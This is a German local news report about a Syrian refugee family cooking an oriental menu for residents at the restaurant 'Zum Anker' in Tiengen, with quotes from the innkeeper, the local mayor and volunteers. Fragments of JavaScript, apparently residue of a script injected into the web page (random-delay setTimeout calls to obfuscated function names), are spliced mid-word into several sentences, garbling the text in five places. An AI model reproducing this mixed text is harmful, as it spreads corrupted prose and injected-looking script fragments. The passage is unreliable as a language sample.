Die Tiengener testen Tabouleh

  • UWerner
  • 26. Januar 2017

TIENGEN. Für das Restaurant „Zum Anker“ war es eine Premiere. Am Samstagabend standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and die kurdisch-syrische Flüchtlingsfamilie Ahmad in der Küche und bereitete für Tiengener Bürger in der voll besetzten Gaststätte ein orientalisches Menü zu.

Er sei überrascht gewesen, dass sich so viele Tiengener spontan für die geschlossene Gesellschaft angemeldet hätten, sagte der Wirt Michael Julier. Rund 40 Plätze seiner Gaststätte seien innerhalb von zwölf Stunden vergeben gewesen, obgleich ein Beitrag von 15 Euro fällig war, um die Zutaten und das Küchenpersonal zu bezahlen. Noch mal so vielen hätte abgesagt werden müssen. In der Küche standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden, unterstützt von Ehrenamtlichen aus dem Helferkreis für Flüchtlinge, Mutter Jalila Hussein, Vater Abdulrahman und Sohn Ahmad Ahmad. Sie gehörten im vergangenen Jahr zu den Flüchtlingen, die in der Opfinger Halle aufgenommen wurden. Schon drei Monate später konnte die sechsköpfige Familie eine Wohnung in Tiengen beziehen. Die Familie wohnte in Damaskus, bevor sie vor Krieg und Repressalien geflohen ist. Der siebenjährige Sohn besucht die erste Klasse der Grundschule, zwei ältere Söhne gehen auf ein Gymnasium oder sind in der Vorbereitungsklasse fürs Gymnasium. Der 22-jährige Sohn Ahmad sucht einen Ausbildungsplatz, wenn er den Integrationskurs beendet hat. Die Eltern warten noch auf einen Platz im Integrationskurs. Der Vater arbeitete in Damaskus als Fliesenleger, Ahmad hatte eine Banklehre begonnen.

Dass sie sich den Bürgern am Samstag als Köche orientalischen Essens präsentierten, war unter andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem die Idee von Maximilian Schächtele. „Ich habe zusammen mit den Frauen vom Helferkreis den Anschieber gespielt“, sagte der Ortsvorsteher. „Was man nicht kennt, macht einem Angst.“ Miteinandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ander essen sei eine gute Gelegenheit, Fremdheit abzubauen. „Warum sollen wir warten, bis im Dorf eine orientalische Gaststätte aufmacht?“ Beim gemeinsamen Mahl könne man sich am besten kennenlernen. „Wir sind sehr neugierig auf das syrische Menü“, erklärten Sabine Person und Harald Berger aus Tiengen. „Eine tolle Idee, dieses Essen zu veranstalten.“ Den Opfinger Peter de Bruin hatte es nach Tiengen gezogen, weil er und seine Frau der Familie Ahmad von Anfang an geholfen haben. „Für uns sind es keine Fremden mehr.“ Er habe sich besonders gefreut, sagte Schächtele, dass einzelne Bürger, die den Flüchtlingen zuerst besonders kritisch gegenüber gestandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden hätten, mit die Ersten gewesen seien, die sich angemeldet hätten.

Sie habe schon gehört, dass Tiengen ein Bespiel dafür sei, wie das Zusammenleben zwischen Alt- und Neubürgern gut funktioniere, sagte Katja Niethammer, seit sechs Wochen amtierende Leiterin des neu geschaffenen Amtes für Migration und Integration: „Die schnelle Anmeldung so vieler Bürger spricht für Neugier und Offenheit.“ Integration gelinge in Begegnung und nicht als Verwaltungsakt. Fleißige Helfer, zu denen zeitweise einige Ortschaftsräte gehörten, brachten Platten voll Tabouleh mit Burgur, einem sehr klein geschnittenen Salat mit gekochtem Hartweizen, dazu Lamm oder Huhn mit Basmatireis. Als Nachtisch gab es Baklava mit Früchten. Dahinter verbirgt sich ein in Zuckerwasser eingelegtes Gebäck aus Blätterteig mit gehackten Nüssen.

Als sich die Familie den Gästen nach dem Essen vorstellte, gab es viele Beifall als Dank für die neue „Anker“-Küche. Zumindest an diesem Abend passte es, dass Ahmad mit der Übersetzung „Mamusat“ die Gastwirtschaft „Zum Anker“ in seine Sprache umbenannte.

(Eva Opitz)

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